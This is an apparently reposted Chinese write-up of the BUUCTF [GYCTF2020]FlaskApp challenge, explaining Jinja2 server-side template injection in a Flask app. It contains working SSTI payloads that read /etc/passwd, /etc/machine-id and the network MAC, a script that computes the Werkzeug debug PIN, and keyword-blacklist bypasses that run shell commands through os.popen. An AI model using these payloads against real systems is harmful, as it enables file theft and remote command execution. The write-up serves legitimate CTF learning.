BUUCTF:[GYCTF2020]FlaskApp

这篇具有很好参考价值的文章主要介绍了BUUCTF:[GYCTF2020]FlaskApp。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Flask的网站,这里的功能是Base64编码解码,并输出

[gyctf2020]flaskapp,CTF_WEB_Writeup,GYCTF2020,Flask,SSTI,Jinja2

并且是存在SSTI的

[gyctf2020]flaskapp,CTF_WEB_Writeup,GYCTF2020,Flask,SSTI,Jinja2

/hint 提示PIN

[gyctf2020]flaskapp,CTF_WEB_Writeup,GYCTF2020,Flask,SSTI,Jinja2

既然提示PIN,那应该是开启了Debug模式的,解密栏那里随便输入点什么报错看看,直接报错了,并且该Flask开启了Debug模式,需要PIN码

[gyctf2020]flaskapp,CTF_WEB_Writeup,GYCTF2020,Flask,SSTI,Jinja2

参考ye1s师傅的:Flask debug模式下的 PIN 码安全性

可知,要获取PIN码需要知道以下几点:

  • username:运行该Flask程序的用户名
  • modname:模块名
  • getattr(app, '__name__', getattr(app.__class__, '__name__')):app名,值为Flask
  • getattr(mod, '__file__', None)Flask目录下的一个app.py的绝对路径,这个值可以在报错页面看到。但有个需注意,Python3是 app.py,Python2中是app.pyc
  • str(uuid.getnode()):MAC地址,需要转换成十进制,读取这两个地址:/sys/class/net/eth0/address或者/sys/class/net/ens33/address
  • get_machine_id():系统id

从报错中还能看出来使用了render_template_string()

[gyctf2020]flaskapp,CTF_WEB_Writeup,GYCTF2020,Flask,SSTI,Jinja2

从这个render_template_string(tmp)看,应该是使用的jinja2引擎,编码{{config}},传入解密然后渲染执行

[gyctf2020]flaskapp,CTF_WEB_Writeup,GYCTF2020,Flask,SSTI,Jinja2

WAF的黑名单:importospopenflageval*?
其实这里就可以使用拼接绕过了,但是我们还是先来试试获取PIN码GetShell的

首先通过报错就可以得知很多信息,Python3的环境以及:

  • modnameflask.app
  • getattr(app, '__name__', getattr(app.__class__, '__name__'))Flask
  • getattr(mod, '__file__', None)/usr/local/lib/python3.7/site-packages/flask/app.py

[gyctf2020]flaskapp,CTF_WEB_Writeup,GYCTF2020,Flask,SSTI,Jinja2

接下来可以通过SSTI去文件读取其他信息,使用jinja2的控制结构语法构造

jinja2一共三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
jinja2的Python模板解释器在构建的时候考虑到了安全问题,删除了大部分敏感函数,相当于构建了一个沙箱环境。
但是一些内置函数和属性还是依然可以使用,而Flask的SSTI就是利用这些内置函数和属性相互组建来达到调用函数的目的,
从而绕过沙箱。

__class__         返回调用的参数类型
__bases__         返回基类列表
__mro__           此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__()  返回子类的列表
__globals__       以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价
__builtins__      内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,
				  这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

遍历子类,寻找能读取文件的子类,然后构造

{% for x in {}.__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
	{%endif%}
{%endfor%}

编码一下输入

[gyctf2020]flaskapp,CTF_WEB_Writeup,GYCTF2020,Flask,SSTI,Jinja2

得到运行Flask的用户名:flaskweb

读Mac地址

{% for x in {}.__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address').read() }}
	{%endif%}
{%endfor%}

[gyctf2020]flaskapp,CTF_WEB_Writeup,GYCTF2020,Flask,SSTI,Jinja2

转换成十进制:

>>> int('d2936368b7c7', 16)
231530469832647

读系统id:1408f836b0ca514d796cbf8960e45fa1

{% for x in {}.__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__'].open('/etc/machine-id').read() }}
	{%endif%}
{%endfor%}

[gyctf2020]flaskapp,CTF_WEB_Writeup,GYCTF2020,Flask,SSTI,Jinja2

然后根据前面的分析文章里面的生成脚本得到PIN码

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '231530469832647',# str(uuid.getnode()),  /sys/class/net/eth0/address
    '1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

[gyctf2020]flaskapp,CTF_WEB_Writeup,GYCTF2020,Flask,SSTI,Jinja2

输入PIN码后可成功获取交互Shell

[gyctf2020]flaskapp,CTF_WEB_Writeup,GYCTF2020,Flask,SSTI,Jinja2

然而这里有SSTI,即已经可以命令执行了

>>> ().__class__.__base__.__subclasses__()[149]
<class 'warnings.catch_warnings'>
>>> ().__class__.__base__.__subclasses__()[149].__init__.__globals__['__builtins__']['__import__']('os').__dict__['popen']('whoami').read()
'mochu7\\administrator\n'
>>>

[gyctf2020]flaskapp,CTF_WEB_Writeup,GYCTF2020,Flask,SSTI,Jinja2

只需要绕过关键字过滤即可,例如拼接

{% for x in ().__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__']['__imp' + 'ort__']('o'+'s').__dict__['po' + 'pen']	('cat /this_is_the_f'+'lag.txt').read() }}
	{%endif%}
{%endfor%}

例如逆序

{% for x in ().__class__.__base__.__subclasses__() %}
	{% if "warning" in x.__name__ %}
		{{x.__init__.__globals__['__builtins__']['__tropmi__'[::-1]]('so'[::-1]).__dict__['nepop'[::-1]]('txt.galf_eht_si_siht/ tac'[::-1]).read()}}
	{%endif%}
{%endfor%}

[gyctf2020]flaskapp,CTF_WEB_Writeup,GYCTF2020,Flask,SSTI,Jinja2
像这种关键字绕过,SSTI还有很多办法,感兴趣的可以自己研究文章来源地址https://www.toymoban.com/news/detail-731805.html

到了这里,关于BUUCTF:[GYCTF2020]FlaskApp的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包赞助服务器费用

相关文章

  • BUUCTF闯关日记--[MRCTF2020]你传你呢(超详解)

    BUUCTF闯关日记--[MRCTF2020]你传你呢(超详解)

    进入页面 文件上传漏洞,因为有些人没看过我前面的文章我再把我的总结发一下 1、前端绕过,抓包修改后缀名, 2、文件内容绕过,用图片马,抓包修改后缀绕过 3、黑名单绕过,那么我们可以改成phtml抓包绕过 4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType applic

    2024年02月03日
    浏览(8)
  • 【网络安全CTF】BUUCTF(Basic篇)

    【网络安全CTF】BUUCTF(Basic篇)

    解题思路:已给用户名密码,直接用ssh工具连接即可获取flag 查找flag在跟下 提交完成。 访问链接:为php代码审计题,看题目要求构造GET请求读取文件 http://9a7d4988-99f9-4c29-88d8-600e19887723.node4.buuoj.cn:81/?file=/…/…/flag 访问链接:为uploab-labs靶场,这个共有20关过一关可获取flag。

    2024年02月13日
    浏览(7)
  • [CTF/网络安全]BurpSuite爆破实战解题详析之BUUCTF Brute 1

    [CTF/网络安全]BurpSuite爆破实战解题详析之BUUCTF Brute 1

    免责声明:本文仅分享AntSword渗透相关知识,不承担任何法律责任。 请读者自行安装BurpSuite,本文不再赘述。 在用户名和密码都未知的情况下,进行用户名、密码的组合爆破,效率极低。 先爆破用户名,再利用得到的用户名爆破密码,将提高爆破速度。 题目 操作 Burp抓包

    2024年02月06日
    浏览(9)
  • [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

    [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

    提示:有一个良好的备份网站的习惯 故使用dirsearch工具扫描目录 得到的扫描结果中包含www.zip目录 通过url路径下载zip文件: index.php中含有关键代码: Get传参传入一个参数select,后端将其序列化 class.php: construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,

    2024年02月05日
    浏览(21)
  • BUUCTF qr 1

    BUUCTF qr 1

    BUUCTF:https://buuoj.cn/challenges 题目描述: 这是一个二维码,谁用谁知道! 密文: 下载附件,得到一张二维码图片。 解题思路: 1、这是一道签到题,扫描二维码得到flag。 flag:

    2024年02月08日
    浏览(12)
  • BUUCTF reverse题解汇总

    BUUCTF reverse题解汇总

    本文是BUUCTF平台reverse题解的汇总 题解均来自本人博客 目录 Page1 Page2 Page3 Page4 easyre reverse1 reverse2 内涵的软件 新年快乐 xor helloworld reverse3 不一样的flag SimpleRev Java逆向解密 [GXYCTF2019]luck_guy [BJDCTF2020]JustRE 刮开有奖 简单注册器 pyre [ACTF新生赛2020]easyre findit rsa [ACTF新生赛2020]rome

    2024年02月03日
    浏览(28)
  • 【 buuctf--伟大的侦探】

    【 buuctf--伟大的侦探】

    这个密码据说是EBCDIC编码,我没看出来为什么是这个编码,只能说暂时记住这个类型,以后碰上知道。 010editor 修改视图编辑方式为 EBCDIC 密码是这个 图片是好多小人,参照福尔摩斯人偶对照解密 flag{iloveholmesandwllm}  参考链接BUUCTF msic 专题(59)[SWPU2019]伟大的侦探_摂m墷m 卪倕

    2024年02月22日
    浏览(7)
  • BUUCTF rsarsa

    BUUCTF rsarsa

    题目: Math is cool! Use the RSA algorithm to decode the secret message, c, p, q, and e are parameters for the RSA algorithm. p =  9648423029010515676590551740010426534945737639235739800643989352039852507298491399561035009163427050370107570733633350911691280297777160200625281665378483 q =  1187484383798029703209240584865365685276091015454338090765004019

    2024年02月05日
    浏览(8)
  • BUUCTF-菜刀666

    BUUCTF-菜刀666

    题目:   使用wireshark打开数据流: 看题目就知道应该是一个菜刀的流量,也就是HTTP流量。在应用显示过滤器中输入http,先看统计里的http请求,统计-HTTP-请求   看到这个1.php的提示,返回来看一下它里面有什么内容:     这里发现一个压缩包, 导出分组字节流,11.zip flag找

    2024年02月16日
    浏览(6)
  • BUUCTF 隐藏的钥匙

    BUUCTF 隐藏的钥匙

    下载得到一张jpg文件打开 之后将其拖如kali中进行binwalk分析 可以看到这张图中隐藏了两张图片因此使用dd指令进行尝试分离 dd命令格式: dd if=原图片名称 of=分离出的 图片名称(自己命名) skip=偏移量(本题是95196) bs=1 本题我的(博主将jpg文件重命名为了111.jpg)即为:  得

    2024年02月03日
    浏览(13)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包